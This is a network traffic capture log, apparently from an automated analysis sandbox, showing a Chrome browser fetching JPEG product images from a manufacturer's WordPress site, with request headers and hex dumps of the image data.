2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 2d da d1 ee 93 6c 00 4f 4c 74 bf 94 d7 e5 6b 0e d0 8a ef 87 1c 96 dc 01 ff 00 d9 d4 dd f2 b5 3f 28 e8 f6 f2 40 26 16 8c 34 38 5b 35 0a f1 6a 47 53 fc db 8c a6 3d 94 cd 36 de d2 44 52 5b 07 27 85 af b4 0e d4 73 cc 45 ca 97 1e 52 6f c4 9e da e2 d1 cc 06 46 5b b7 0f 13 9b 6c d2 d0 e2 17 02 62 18 01 56 e3 cb 35 97 c9 9c fb 5f 8a 71 7c 96 a2 26 b5 05 bf c2 b3 56 a4 5d 4e 26 3c fb 2a e8 6b f2 d5 6c dd a0 40 d6 b9 d0 19 50 27 f9 32 49 52 9c 22 fd 6c 2a 68 6b f2 46 cf 63 e6 27 95 6e f0 48 00 b6 d8 02 55 50 a7 97 c5 0d 3f 8f 98 3f 97 ca 4d 73 68 01 31 c7 03 51 0b 96 df 00 08 d5 ff 00 57 cb 1e ea 44 e3 e6 09 dd f2 90 dc 59 48 dd 4d 11 b9 a8 49 77 c3 f2 42 bf e1 e4 85 7b aa ee 8f 30 95 97 c8 99 ed 9b 83 5a d7 bd a5 0b 19 6e ae f7 b4 e5 e5 f3 c2 9b a3 cc 15 97 ca c7 Data Ascii: -lOLtk?(@&48[5jGS=6DR['sERoF[lbV5_q\|&V]N&<kl@P'2IR"lhkFc'nHUP??Msh1QWDYHMIwB{0Zn
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 0a cf ca 1b 0d e7 12 67 23 b7 cc 27 24 3f 5d 37 63 e1 36 e5 e5 57 e5 db 94 52 19 18 4b 65 1f 79 ae c4 a9 43 8d 6b 7e 32 ce cc a1 60 b5 df 1d fe 95 ea 7f 86 38 94 fa 45 4b c1 6b 32 7c 16 f3 98 91 fc ff 00 c4 e6 17 9d 5b c4 ac 91 d6 bb d6 82 0b de e6 11 e2 1a 94 10 8b f4 52 27 14 98 c8 91 41 bb 42 a2 13 23 43 ca b8 0e 60 a1 55 cb 3a b3 38 cf aa 44 65 1e 8b 44 5b ea a7 99 28 3d a4 73 4f a6 a7 f0 5f e6 9e 5e f8 9a b5 ca 72 c5 41 14 fe 27 f3 55 71 16 e9 28 02 7d 6e 03 25 19 28 55 c3 b2 b5 1b 63 d1 27 74 fa 9d af de 19 f8 4d d4 8c f0 8f 0a e5 db 52 b1 2f 23 6a df 49 23 f1 1a b9 23 40 e2 9c b9 d2 b0 5b c8 4b 37 c2 9e 29 71 c5 30 19 fe f5 3f 82 7f 25 62 d7 73 12 f9 ba 64 f3 1b e3 d6 71 25 02 e1 e8 ab 78 fa 25 64 b7 cc de f8 ba 41 cf c2 3e ca 95 8a de 48 1f be 64 Data Ascii: g#'$?]7c6WRKeyCk~2`8EKk2\|[R'AB#C`U:8DeD[(=sO_^rA'Uq(}n%(Uc'tMR/#jI##@[K7)q0?%bsdq%x%dA>Hd
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 5b ac 30 cf 61 b9 6e 4d b5 7b 03 a0 17 4e 6b 26 2a 31 50 58 0a 28 c1 6b 53 3e d3 10 cc 63 a5 dc af f8 fd f0 92 46 ed 78 a8 a0 f9 c1 39 a1 46 8e 18 52 e3 c4 2e df d4 4e e9 bb 21 2f dd 6f c8 54 09 70 49 21 73 40 39 1a 6e f8 84 db fa a8 9f 7c 9a da 3b 99 ef b7 bb e6 41 67 13 a7 2c 6d c3 8b a4 31 90 3c a6 1e 0f 7a 8d 15 2e 66 6a 23 f6 5d b1 11 ac 83 37 cb fb fb 68 2e ad ee b7 48 2d 1c 3c 11 5d dc bc 4c d7 1c 09 38 94 19 26 3d b5 a9 9a d2 a3 e8 cc 63 13 17 af d5 74 37 5b 8b 86 af cc af 02 fb a9 75 36 0b c3 3e 61 2a 5f c7 ec bb 60 ae 97 71 2d 2e f8 fb d7 93 8a ba e6 70 79 f0 77 2c 2a df c7 ec 9b 61 44 fd 45 71 b3 40 fd c8 de 5f 4c 62 73 61 6d b3 2e 65 2f 95 f2 64 d6 6a 71 e1 e2 27 82 52 37 4c d4 47 ec 4c 63 11 7f fc 99 bb 9d ee e1 1c 53 4f 77 7e c6 96 07 36 19 Data Ascii: [0anM{Nk&1PX(kS>cFx9FR.N!/oTpI!s@9n\|;Ag,m1<z.fj#]7h.H-<]L8&=ct7[u6>a_`q-.pyw,*aDEq@_Lbsam.e/djq'R7LGLcSOw~6
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 04 d2 c0 70 c7 8e 1c 2a c4 21 1b ba 17 46 c7 be 22 d7 39 a0 96 94 50 4f 0a b4 2c 66 e0 00 e2 3d 38 a5 05 8c dc d8 8a 41 4e 04 d0 13 b9 33 83 4e 39 52 82 fe 64 48 f7 3d b5 51 06 e2 47 dc f6 d0 03 b9 3d 7c 2d f6 d0 33 77 29 32 73 3d 46 8a 27 72 e6 df 4d 04 6e e0 32 cf bd 68 18 6e 68 46 08 1c ad 53 da 28 31 6d f7 db a4 42 7f 8e 95 b3 07 38 79 41 41 4e 79 22 04 e1 4b 46 97 6e 72 26 40 0e 65 4d 2d 47 f3 33 c8 1f 45 01 1b 8b fb 3d 54 13 f3 19 75 2a 05 1c 87 db 41 0e e3 27 77 66 90 68 07 c7 4d 82 10 3f 92 0f ef 52 95 3f 30 9f 15 19 76 0a 50 57 ee 17 2a 34 b4 b9 7b 80 a0 1f 19 31 21 da 4e 23 b3 0a 08 2f 24 cb 1a 0a 77 16 5c de 5a 79 2d 9d d0 bb 5e a6 bc 2e 2d 19 35 c0 21 c3 31 41 68 b8 98 10 dd 45 18 c0 0b ce 65 d9 63 40 0d e3 c1 0a ff 00 6d 14 c2 f9 e4 61 29 1c Data Ascii: p!F"9PO,f=8AN3N9RdH=QG=\|-3w)2s=F'rMn2hnhFS(1mB8yAANy"KFnr&@eM-G3E=TuA'wfhM?R?0vPW*4{1!N#/$w\Zy-^.-5!1AhEec@ma)
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 9d 0b a4 fa 58 48 af 85 c9 85 65 3f 2f a7 8e 77 0f 57 14 cd 20 b5 c4 94 50 e5 e5 ee 9f 62 1a cd 0b 8c a4 e0 0a 38 e1 e9 25 3f ac 2b 48 c7 b9 b4 cb 6a e2 14 16 91 23 41 c7 b5 3e 9a e9 c7 35 2e 79 c5 c2 fb 3b a1 35 a4 72 9c 7c 21 ae 1d ac c3 fa a6 a6 58 d4 ae 39 5c 2e d7 e1 21 c7 1f bc 4f f3 49 fa 0d 65 a4 f3 0e 41 41 38 28 c3 13 ff 00 48 50 73 b7 77 06 18 2e e3 88 17 c0 f0 55 38 38 aa 7f 38 11 5d 78 fd e1 cf 93 cb 73 67 85 c1 44 7a a3 20 10 10 7b a0 28 fe 89 35 ce 9d 2d 3c c8 5c 48 74 63 3e 41 13 dc 27 f9 a8 68 00 7c 6d 2b e5 f8 b3 20 73 5f ef 0f 6d 06 1b e9 22 b6 bd b7 bc 6c 7e 0d 5a 1f 86 6d 38 85 fe 49 23 d1 5d 30 d6 26 1c f2 d2 62 5d 0d 4c 0a b1 a8 1d 98 10 02 12 7b d8 45 73 75 42 e6 a1 05 a8 78 e1 99 3e 17 7b 50 d0 30 78 45 6b 48 71 c9 02 a1 f7 80 fe Data Ascii: XHe?/wW Pb8%?+Hj#A>5.y;5r\|!X9\.!OIeAA8(HPsw.U888]xsgDz {(5-<\Htc>A'h\|m+ s_m"l~Zm8I#]0&b]L{EsuBx>{P0xEkHq
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: f9 2d e2 05 00 11 34 1c 1b 9f 04 a8 1b c8 6a fb b8 51 47 e1 e3 45 45 a0 0e b7 6e 3e 10 07 33 40 a6 16 8c c2 ad 05 13 46 43 75 00 8e 69 0e 09 c5 0a d1 5b be 61 df 6d 9d 49 bc d8 fe 43 34 32 be 2b 06 0b ab 56 bb cb 36 f3 07 39 cf 84 eb d3 a9 de 2e 1c 6b be 19 63 1e 9e 8e 19 e3 94 fe af 0c ef 36 3c 5e c7 35 a3 89 04 0e ea eb 6e 34 f6 3f 2e 37 87 58 c9 b9 44 c9 24 8d af 74 57 0f 6b 1d a1 cf 6e 2d 21 47 2a ce cb b3 2c ea a5 de eb 3e ad b5 bd d9 ae 6d d9 6f e5 ba 63 13 5d 18 79 40 dd 44 b9 c3 59 2e 2e 38 2d 63 a6 71 d6 db c7 9b 76 94 f2 7b 6e d3 3d bb fe 37 cb 75 d3 c8 48 e2 8d 8f 68 0e 41 a8 9d 61 a1 31 c0 d5 9c af 46 f1 c6 b5 68 99 db cc 9e 1b ab 15 8d a7 18 e4 7c 60 77 26 a0 6b 3a 47 bb 57 33 ec c9 bb db ec 66 c1 de 55 a4 c2 ec 60 1c 03 19 1b 08 1e ee a0 e7 Data Ascii: -4jQGEEn>3@FCui[amIC42+V69.kc6<^5n4?.7XD$tWkn-!G*,>moc]y@DY..8-cqv{n=7uHhAa1Fh\|`w&k:GW3fU`
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: c9 4e f1 39 78 78 72 12 84 a2 e7 57 64 26 f9 17 ef b7 08 51 c8 4e 2b ce a7 5c 2f 64 83 37 db b5 0a 50 64 3b 7b ea 75 c2 ef 95 df 9b de 1c 9d e9 e3 59 d9 0b 19 c9 1b 7d 71 ac bb 57 6a 9c 29 38 c2 c6 52 b0 ef 33 84 3e 60 51 91 50 9e da ce c8 6b 74 ba 52 9d de df 67 b7 dd ee 0b 22 b1 bb 94 c3 68 f7 b8 35 f3 39 a1 5e e8 a3 3e 27 46 de 2f 18 2d 63 6c 35 13 2c b1 ee 77 72 34 bd 8e 2f 6b 7d e7 b5 ae 73 47 f1 88 c0 7a 69 b6 16 e5 54 7b ad c3 0f 81 53 2c 41 3e aa bb 61 2e 4d 26 ed b9 79 62 5d 0f f2 94 8f 34 b1 fa 17 96 a4 45 a6 c8 49 ca 59 64 df 2e 9a 71 76 96 f0 50 45 6a 30 86 67 29 21 df ae 93 09 01 3c 02 ad 6e 38 e1 99 e4 96 63 bb 5d 35 e5 c1 e4 f6 70 ae 9b 21 8d f2 3f 9e de 27 bd 81 c0 d3 ae 13 7c 94 ef 57 a0 7b c9 cc f1 ab d7 09 be 55 3b 76 bc 20 f8 c9 05 78 Data Ascii: N9xxrWd&QN+\/d7Pd;{uY}qWj)8R3>`QPktRg"h59^>'F/-cl5,wr4/k}sGziT{S,A>a.M&yb]4EIYd.qvPEj0g)!<n8c]5p!?'\|W{U;v x
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: ba 8a 4b 1d d3 68 31 47 73 a6 58 de c9 e0 d6 c2 e6 12 c2 ba 4b a3 2f 4d 43 8a 57 4e 5c 26 71 67 8f 38 b7 9d 8f 7e 76 d6 d9 63 db 6d a7 9f e3 5e d3 70 e2 8c 8b cd 6a 90 84 62 d0 98 61 5e 4c 31 98 d6 5d b2 a9 f4 6a 67 50 f5 ac b6 a5 f1 d8 45 f1 45 ce 56 f9 d1 32 30 3e e6 2f 70 27 b5 6b a4 f2 ca c7 1c 0f e6 5d 72 f2 cf 36 e7 6e da da 9e 39 24 96 09 dc 70 c3 0d 7c 7b 2b 1d b9 7e ab d7 0a ff 00 3b ea 48 94 49 bd ed 12 b8 12 1a df c3 68 2d fd 65 6e a4 3d 95 ac 79 72 f0 ce 5c 70 e7 49 be c1 26 e6 fb 9d c1 a6 49 9c 1a c9 5d 67 29 6a 86 04 69 01 ed 73 4d 6f 3e 4c e6 34 ab 74 fb 6c 38 31 cb ff 00 2e 39 4c 7f b6 7f c5 9f 76 dd ba 76 e2 7d bc 47 f1 06 2b 77 39 f3 49 72 08 3a 5c 75 16 27 df 73 9d 9b fb 85 72 8d f3 31 b9 e9 e5 cb ed e2 32 ea 8c b5 f4 dd ff 00 57 92 bb Data Ascii: Kh1GsXK/MCWN\&qg8~vcm^pjba^L1]jgPEEV20>/p'k]r6n9$p\|{+~;HIh-en=yr\pI&I]g)jisMo>L4tl81.9Lvv}G+w9Ir:\u'sr12W
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 97 90 59 43 7d 3c 0e 8a ca e1 c6 3b 6b 97 8d 31 ca e6 ae a1 1b 8f bc 89 45 65 75 d4 09 fe 2b 53 bc 55 15 fc 4c 2e 2a 1e 0f 20 0a d5 84 93 34 4e 4f 86 19 08 cd 44 6f fb 2a db 34 ae 47 b1 48 25 08 e7 5d 21 99 85 64 9e 05 47 31 88 ad b0 5c 42 e3 8f b2 82 1d 6a 79 f1 fa 6a 80 55 11 7c 27 9d 10 14 90 70 c3 d1 8d 06 71 7e e2 a8 35 2f a2 bd 6f 23 a1 b5 5a 6f 7b 95 c0 83 6b b4 9e f2 63 9b 20 61 79 c3 1e 18 0a c6 53 11 ea de 31 32 db ba f4 67 5b ed b6 92 de df ec b7 30 5a 40 d3 24 d7 0f 0c d0 c6 f3 71 0e 29 58 df 1e 5b d9 2e 95 cf ca af 98 2d bb 9a 1b 2d b1 f7 b0 46 40 6d d3 5f 14 6c 79 2d 0e 3a 43 de 1c 80 94 c7 3a c4 72 c4 b5 d7 2a ff 00 e5 37 cd 17 b8 b5 bb 1b 81 08 50 cd 6e 1b 8f 23 e6 7a ea c7 24 27 5c b0 43 f2 f3 af e7 bd 92 cd bb 60 6d cc 4b ad 8e b8 b5 68 Data Ascii: YC}<;k1Eeu+SUL.* 4NODo4GH%]!dG1\BjyjU\|'pq~5/o#Zo{kc ayS12g[0Z@$q)X[.--F@m_ly-:C:r7Pn#z$'\C`mKh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	49959	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	933	OUT	GET /2016/wp-content/uploads/2018/03/AlTB-RH-side-mbr.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Mon, 12 Mar 2018 20:20:55 GMT Accept-Ranges: bytes Content-Length: 19334 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:38 UTC	8000	IN	Data Raw: 74 ae 9a 74 c5 7c 90 93 ea 7b 2b b5 97 92 a5 f8 cb 3b 6f f6 53 cf 24 fa 27 f5 35 fc 5f 87 4f db 9f bb 29 79 ba d4 f0 df b6 e5 1e 4e af d0 d3 6e 35 af ef 7c f6 96 ac fe 25 b5 db e3 eb c5 33 93 a7 59 b5 34 9d 66 25 53 65 e3 33 92 96 c9 9b 6d eb 5a d3 31 d3 a4 7a bd 9a c4 c9 b3 33 59 fd 5f d2 46 88 f1 7c 5f f8 d6 f4 c1 f9 c5 3b 36 d3 e9 84 e3 db 5a b0 98 56 8f 16 a7 6e df 48 f3 c3 2f cd b0 ff 00 e3 cf a6 0e 3d 9a b7 4e 6b 15 e4 e5 fe 71 8b 9c 6d e7 d3 09 fc ee b1 fe 85 a3 f7 a1 65 92 ee a5 ba ea 0e 67 e7 75 fc 19 fb d0 89 f1 dc 71 cf 0d be 49 86 fb fc fb 47 50 72 2d fc c5 8e 27 48 db de 67 cf 0c 7f e4 53 d9 b4 b7 df 83 bf cf b4 76 47 1e 3c 7e d3 c6 36 d3 e6 eb 84 db f9 82 b1 ff 00 c7 b7 2f 6a 0e ff 00 3e c7 5c 71 a7 f9 8e b1 ff 00 c6 b7 df 84 4f f3 2d 63 96 Data Ascii: tt\|{+;oS$'5_O)yNn5\|%3Y4f%Se3mZ1z3Y_F\|_;6ZVnH/=NkqmeguqIGPr-'HgSvG<~6/j>\qO-c
2024-10-07 11:17:39 UTC	3376	IN	Data Raw: ff 00 13 19 f0 dd 67 59 bd 79 69 f5 6d fc 67 4a 9b 1c 5f 82 db cd ab a5 23 a6 75 8d 78 71 f9 93 f0 18 3a e2 26 91 d3 a4 ce ba 46 ba fa 1d 7f ca e3 58 98 bc 70 e3 1a d6 d3 fd f4 fe 5b 3a c4 f5 d7 87 0f ab 6f f7 0e 94 d8 e3 fe 5f 82 6d 35 ac 56 ba 69 ce 22 75 d5 1f 03 86 31 f5 c6 38 ea d3 8c 69 1a 70 ed e4 ec 7e 57 13 33 36 b5 6d 3e 5a 4f 67 ef a7 f2 cf 52 69 d7 59 89 89 8d 7a 6d ca 7f fb 87 4b e8 d8 e4 db 61 b6 8a c6 94 8d 6d 31 11 c2 34 e3 df c0 af 87 ed a2 dd 36 a5 66 26 35 89 88 88 e5 df 1a 3a d6 f0 eb ce 9e bd 38 69 31 ea db b3 f7 c8 f0 fc 9a eb 6b 53 84 4c 46 95 b4 7c f3 79 3a d5 d8 e5 57 c3 76 77 ea ea c5 15 e9 98 88 88 d3 8f 96 78 35 6f 3c 2f 6f 15 88 ad 62 91 3a 4e b1 15 e3 a4 c6 bd 9c 39 bb 95 d8 4c 4c cc da 38 e9 f3 31 cf e1 f6 cd 5a c4 5a 2b 35 Data Ascii: gYyimgJ_#uxq:&FXp[:o_m5Vi"u18ip~W36m>ZOgRiYzmKam146f&5:8i1kSLF\|y:Wvwx5o</ob:N9LL81ZZ+5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	49966	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	935	OUT	GET /2016/wp-content/uploads/2018/04/AlTB-Tunnel-AA6014.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 06 Apr 2018 15:10:17 GMT Accept-Ranges: bytes Content-Length: 19779 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
2024-10-07 11:17:39 UTC	8000	IN	Data Raw: 62 66 75 28 f3 b3 de a6 74 de a7 a5 8f c4 b5 31 98 ed e9 d5 54 bd 1f 72 cb 73 3d 72 e5 cd 64 62 8a 76 ed 70 47 0c 19 c6 47 c8 8e f1 da c7 46 56 88 bf da 44 fd 57 55 31 1c 7a 93 c2 94 8e 6c 2f 73 b1 fa ab 44 5c ff 00 10 df 04 e0 55 8c 23 6f 93 e2 5b 4e 1a 29 c2 79 71 96 ba 00 65 11 77 8a 53 1d 7f 2b 41 05 62 ab b1 c3 82 f1 54 cf 0a 00 5d 7b 56 6b bb 13 54 7c 9a 23 86 a9 e0 61 72 bd 9a 79 38 9b 45 f9 ae 88 a6 9d 14 53 c5 0a 8b 55 45 ba 74 53 56 d7 97 05 70 31 22 51 53 0b 62 9a 2d 57 5c 63 4c 4c f9 91 55 15 d1 3f 2a 26 27 ca b0 a4 e0 df 2d 44 cd 71 54 f0 53 a6 7f 4a 63 08 d5 1f 0b 9e 23 1a a2 26 70 8e 39 e4 8e 39 76 e5 a9 98 b5 15 ce 31 55 cf 97 31 3c 34 ed 7d 1f 44 68 5c 26 5b 00 d2 0e 6d e1 45 57 32 77 29 a2 36 aa f9 35 61 c3 a2 9a a2 a9 f5 43 a4 07 92 a6 Data Ascii: bfu(t1Trs=rdbvpGGFVDWU1zl/sD\U#o[N)yqewS+AbT]{VkT\|#ary8ESUEtSVp1"QSb-W\cLLU?*&'-DqTSJc#&p99v1U1<4}Dh\&[mEW2w)65aC
2024-10-07 11:17:39 UTC	3821	IN	Data Raw: 0e 0b bf ff 00 9f e6 e9 fd c6 66 d5 5c 9b 51 55 bf d5 da 7b a1 6e 52 61 f9 c5 df 0b 78 93 2b a6 d5 15 57 11 c7 66 ee 3e aa a6 27 d4 c2 73 3e 24 dd fa 6b af 33 67 67 8e ed 33 b3 ae a8 7e 9c 82 91 f9 de 5f c6 7b ee d6 1b 75 5b bf 4f e7 46 13 3e 98 77 da f1 cd bb 98 46 6f 27 1e 59 a7 4b d3 e6 f7 1e e8 ce 63 39 8c a5 ba aa 9e 1a e2 36 2a e9 51 84 be 36 6b c0 7b ba e6 9c ad eb 96 27 8a 2a c2 e5 3f b3 3e b3 5c 1b e5 7c bf 88 77 06 67 08 d3 6a a9 f2 e0 ef a6 d6 ef cc 44 cd 9b f1 8c f2 e0 f2 99 bf 05 6f 7b 11 35 59 9a 33 54 c7 15 33 b3 57 46 bc 23 d6 f9 55 51 bc 37 7d 7b 35 c5 dc ad 71 c1 4d 71 31 13 e8 a8 f9 c7 e0 fa cf e5 fa 0c ee db b1 f3 2a 8a a3 c9 2a 4e 4b 33 1f 45 e4 32 de 22 cf 5a 88 8b 9f 2e 9e 75 33 84 ea 97 d4 cb 78 96 ab 9a 22 ec c5 5c d9 d1 3a a5 33 Data Ascii: f\QU{nRax+Wf>'s>$k3gg3~_{u[OF>wFo'YKc96Q6k{'?>\\|wgjDo{5Y3T3WF#UQ7}{5qMq1**NK3E2"Z.u3x"\:3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49965	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:38 UTC	925	OUT	GET /2016/wp-content/uploads/2018/04/Liftgate.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/products/aluminum-tailor-welded-blanks/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299851.0.0.0
2024-10-07 11:17:38 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:38 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 06 Apr 2018 15:41:27 GMT Accept-Ranges: bytes Content-Length: 39338 Content-Type: image/jpeg
2024-10-07 11:17:38 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 1e 00 00 ff e1 03 2c 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 30 20 37 39 2e 31 36 30 34 35 31 2c 20 32 30 31 37 2f 30 35 2f 30 36 2d 30 31 3a 30 38 3a 32 31 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky,http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c140 79.160451, 2017/05/06-01:08:21 "> <rdf:RDF xm
